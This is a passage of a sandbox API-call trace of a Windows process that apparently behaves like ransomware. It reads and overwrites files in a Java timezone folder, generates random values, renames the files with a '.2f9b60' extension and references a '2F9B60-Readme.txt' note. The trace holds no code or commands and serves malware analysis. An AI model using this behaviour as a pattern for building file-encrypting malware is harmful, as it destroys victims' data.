Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x177ab458 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x1786daad [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x6601ec80 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x7742723 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x33a07407 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x2fd3a660 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x3e18e8f5 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x4f27e880 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x24ba41fa [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x30d4bae0 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x2e124bc4 [0167.904] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0xe079e7d [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x564b8603 [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x19540835 [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x6b09935f [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x1f625d70 [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x302957e0 [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x1a6f56fe [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x6ae75c2a [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x7208cb98 [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x2ffe7f20 [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x1340a4e5 [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x2e0966d1 [0167.905] RtlRandomEx (in: Seed=0x36b2f7f0 | out: Seed=0x36b2f7f0) returned 0x201b0f7d [0167.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ab0 [0167.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59d30 [0167.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18a80 [0167.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59d30) returned 1 [0167.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a50) returned 1 [0167.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c380 [0167.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59d30 [0167.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425269f0 [0167.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4252a600 [0167.914] ReadFile (in: hFile=0x2c2c, lpBuffer=0x425269f0, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x36b2f7f0, lpOverlapped=0x0 | out: lpBuffer=0x425269f0*, lpNumberOfBytesRead=0x36b2f7f0*=0x41, lpOverlapped=0x0) returned 1 [0167.915] SetFilePointerEx (in: hFile=0x2c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.915] WriteFile (in: hFile=0x2c2c, lpBuffer=0x4252a600*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x36b2f7f4, lpOverlapped=0x0 | out: lpBuffer=0x4252a600*, lpNumberOfBytesWritten=0x36b2f7f4*=0x41, lpOverlapped=0x0) returned 1 [0184.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec76d0 [0184.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7700 [0184.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7700) returned 1 [0184.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4252a600) returned 1 [0184.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425269f0) returned 1 [0184.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59d30) returned 1 [0184.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c380) returned 1 [0184.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d900 [0184.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c380 [0184.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59d30 [0184.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7700 [0184.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7700) returned 1 [0184.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d920 [0184.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7700 [0184.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec7730 [0184.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7730) returned 1 [0184.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59d30) returned 1 [0184.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c380) returned 1 [0184.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x423a8c60 [0184.663] SetFilePointerEx (in: hFile=0x2c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0184.663] WriteFile (in: hFile=0x2c2c, lpBuffer=0x423a8c60*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x36b2f910, lpOverlapped=0x0 | out: lpBuffer=0x423a8c60*, lpNumberOfBytesWritten=0x36b2f910*=0xfc, lpOverlapped=0x0) returned 1 [0188.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c470 [0188.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b530 [0188.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053850 [0188.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053850) returned 1 [0188.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b82d8a0 [0188.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053850 [0188.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053820 [0188.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053820) returned 1 [0188.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b530) returned 1 [0188.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c470) returned 1 [0188.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15) returned 0x1b82d8c0 [0188.523] sprintf (in: _Dest=0x1b82d8c0, _Format="%c%c" | out: _Dest="a1") returned 2 [0188.523] sprintf (in: _Dest=0x1b82d8c2, _Format="%c%c" | out: _Dest="54") returned 2 [0188.523] sprintf (in: _Dest=0x1b82d8c4, _Format="%c%c" | out: _Dest="e6") returned 2 [0188.523] sprintf (in: _Dest=0x1b82d8c6, _Format="%c%c" | out: _Dest="19") returned 2 [0188.523] sprintf (in: _Dest=0x1b82d8c8, _Format="%c%c" | out: _Dest="28") returned 2 [0188.524] sprintf (in: _Dest=0x1b82d8ca, _Format="%c%c" | out: _Dest="b4") returned 2 [0188.524] sprintf (in: _Dest=0x1b82d8cc, _Format="%c%c" | out: _Dest="d5") returned 2 [0188.524] sprintf (in: _Dest=0x1b82d8ce, _Format="%c%c" | out: _Dest="d9") returned 2 [0188.524] sprintf (in: _Dest=0x1b82d8d0, _Format="%c%c" | out: _Dest="23") returned 2 [0188.524] sprintf (in: _Dest=0x1b82d8d2, _Format="%c%c" | out: _Dest="ba") returned 2 [0188.524] RtlInitAnsiString (in: DestinationString=0x36b2f988, SourceString="a154e61928b4d5d923ba" | out: DestinationString="a154e61928b4d5d923ba") [0188.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x36b2f958, SourceString="a154e61928b4d5d923ba", AllocateDestinationString=1 | out: DestinationString="a154e61928b4d5d923ba") returned 0x0 [0188.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ef30 [0188.524] RtlFreeAnsiString (AnsiString="a") [0188.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d8c0) returned 1 [0188.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d8a0) returned 1 [0188.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053850) returned 1 [0188.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8c60) returned 1 [0188.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d920) returned 1 [0188.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec7700) returned 1 [0188.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d900) returned 1 [0188.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec76d0) returned 1 [0188.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18d50) returned 1 [0188.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ab0) returned 1 [0188.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18a80) returned 1 [0188.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1ce5b530 [0188.530] wcscat (in: _Dest=0x1ce5b530, _Source="a154e" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a154e") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a154e" [0188.531] wcscat (in: _Dest=0x1ce5b530, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a154e.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a154e.2f9b60" [0188.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a154e.2f9b60", NtPathName=0x36b2f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a154e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1ce63a10 Thread: id = 2830 os_tid = 0x1a64 [0160.251] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Libreville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\libreville")) returned 0x20 [0165.805] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Libreville", dwFileAttributes=0x20) returned 1 [0166.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Libreville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\libreville"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bd0 [0167.659] GetFileSizeEx (in: hFile=0x2bd0, lpFileSize=0x4487f920 | out: lpFileSize=0x4487f920*=65) returned 1 [0167.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0b30 [0167.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d70 [0167.660] NtQuerySystemTime (in: CurrentTime=0x4487f7e0 | out: CurrentTime=0x4487f7e0*=132462177727774000) returned 0x0 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x38c85dd [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0xdbc0ed5 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x61b80b1c [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x74ed0cdd [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x5390b0ff [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x1fd38dca [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x220ca05f [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x6fe7377c [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x31da9906 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x7ea13d50 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x3c727e38 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x72ea74fc [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x5dbbc3dd [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x1294f2eb [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x1b1cb911 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x6b83c5fb [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x5dace1ef [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x54396abe [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x2b4829f0 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x22db4c65 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x75714551 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x32813260 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x7e1afca6 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x179e1c83 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x7b3f4343 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x3e092001 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x4d56852a [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x5668afca [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x61808de7 [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x195608bf [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x6575918c [0167.660] RtlRandomEx (in: Seed=0x4487f7d0 | out: Seed=0x4487f7d0) returned 0x641c1a03 [0167.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d40 [0167.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0167.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0c80 [0167.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0167.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d70) returned 1 [0167.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c100 [0167.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0167.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42013cc0 [0167.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420178d0 [0167.671] ReadFile (in: hFile=0x2bd0, lpBuffer=0x42013cc0, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x4487f7d0, lpOverlapped=0x0 | out: lpBuffer=0x42013cc0*, lpNumberOfBytesRead=0x4487f7d0*=0x41, lpOverlapped=0x0) returned 1 [0167.672] SetFilePointerEx (in: hFile=0x2bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.672] WriteFile (in: hFile=0x2bd0, lpBuffer=0x420178d0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x4487f7d4, lpOverlapped=0x0 | out: lpBuffer=0x420178d0*, lpNumberOfBytesWritten=0x4487f7d4*=0x41, lpOverlapped=0x0) returned 1 [0184.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6dd0 [0184.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6e00 [0184.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6e00) returned 1 [0184.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420178d0) returned 1 [0184.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42013cc0) returned 1 [0184.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0184.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c100) returned 1 [0184.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cec6e00 [0184.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c100 [0184.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0184.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6e30 [0184.197] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6e30) returned 1 [0184.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cec6e30 [0184.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6e60 [0184.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec6e90 [0184.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6e90) returned 1 [0184.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0184.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c100) returned 1 [0184.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x431b8720 [0191.955] SetFilePointerEx (in: hFile=0x2bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0191.955] WriteFile (in: hFile=0x2bd0, lpBuffer=0x431b8720*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x4487f8f0, lpOverlapped=0x0 | out: lpBuffer=0x431b8720*, lpNumberOfBytesWritten=0x4487f8f0*=0x106, lpOverlapped=0x0) returned 1 [0207.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebaee0 [0207.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0da0 [0207.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0da0) returned 1 [0207.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d6c0 [0207.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0da0 [0207.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e60 [0207.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e60) returned 1 [0207.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebaee0) returned 1 [0207.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431ac720 [0207.469] sprintf (in: _Dest=0x431ac720, _Format="%c%c" | out: _Dest="c8") returned 2 [0207.469] sprintf (in: _Dest=0x431ac722, _Format="%c%c" | out: _Dest="13") returned 2 [0207.469] sprintf (in: _Dest=0x431ac724, _Format="%c%c" | out: _Dest="2a") returned 2 [0207.469] sprintf (in: _Dest=0x431ac726, _Format="%c%c" | out: _Dest="a2") returned 2 [0207.469] sprintf (in: _Dest=0x431ac728, _Format="%c%c" | out: _Dest="cf") returned 2 [0207.469] sprintf (in: _Dest=0x431ac72a, _Format="%c%c" | out: _Dest="e1") returned 2 [0207.469] sprintf (in: _Dest=0x431ac72c, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.469] sprintf (in: _Dest=0x431ac72e, _Format="%c%c" | out: _Dest="40") returned 2 [0207.469] sprintf (in: _Dest=0x431ac730, _Format="%c%c" | out: _Dest="c2") returned 2 [0207.469] sprintf (in: _Dest=0x431ac732, _Format="%c%c" | out: _Dest="f4") returned 2 [0207.470] sprintf (in: _Dest=0x431ac734, _Format="%c%c" | out: _Dest="7f") returned 2 [0207.470] sprintf (in: _Dest=0x431ac736, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.470] sprintf (in: _Dest=0x431ac738, _Format="%c%c" | out: _Dest="73") returned 2 [0207.470] sprintf (in: _Dest=0x431ac73a, _Format="%c%c" | out: _Dest="d8") returned 2 [0207.470] sprintf (in: _Dest=0x431ac73c, _Format="%c%c" | out: _Dest="33") returned 2 [0207.470] sprintf (in: _Dest=0x431ac73e, _Format="%c%c" | out: _Dest="99") returned 2 [0207.470] sprintf (in: _Dest=0x431ac740, _Format="%c%c" | out: _Dest="b6") returned 2 [0207.470] sprintf (in: _Dest=0x431ac742, _Format="%c%c" | out: _Dest="12") returned 2 [0207.470] sprintf (in: _Dest=0x431ac744, _Format="%c%c" | out: _Dest="33") returned 2 [0207.470] sprintf (in: _Dest=0x431ac746, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.470] RtlInitAnsiString (in: DestinationString=0x4487f968, SourceString="c8132aa2cfe1a540c2f47f6e73d83399b61233d6" | out: DestinationString="c8132aa2cfe1a540c2f47f6e73d83399b61233d6") [0207.470] RtlAnsiStringToUnicodeString (in: DestinationString=0x4487f938, SourceString="c8132aa2cfe1a540c2f47f6e73d83399b61233d6", AllocateDestinationString=1 | out: DestinationString="c8132aa2cfe1a540c2f47f6e73d83399b61233d6") returned 0x0 [0207.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431fa2c0 [0207.470] wcscat (in: _Dest=0x431a0b10, _Source="c8132aa2cf" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c8132aa2cf") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c8132aa2cf" [0207.470] wcscat (in: _Dest=0x431a0b10, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c8132aa2cf.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c8132aa2cf.2f9b60" [0207.470] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c8132aa2cf.2f9b60", NtPathName=0x4487f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c8132aa2cf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431450c0 [0237.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431450c0) returned 1 [0237.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316f020) returned 1 [0237.687] NtQueryInformationFile (in: FileHandle=0x2bd0, IoStatusBlock=0x4487f978, FileInformation=0x4487f988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4487f978, FileInformation=0x4487f988) returned 0x0 [0237.687] NtSetInformationFile (FileHandle=0x2bd0, IoStatusBlock=0x4487f978, FileInformation=0x4487f988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0b10) returned 1 [0237.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fa2c0) returned 1 [0237.966] FlushFileBuffers (hFile=0x2bd0) returned 1 [0238.242] CloseHandle (hObject=0x2bd0) returned 1 [0241.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3650 [0241.689] wcscpy (in: _Dest=0x431a3650, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.689] wcscat (in: _Dest=0x431a3650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.689] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3650) returned 1 [0243.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5e900) returned 1 Thread: id = 2831 os_tid = 0x1a68 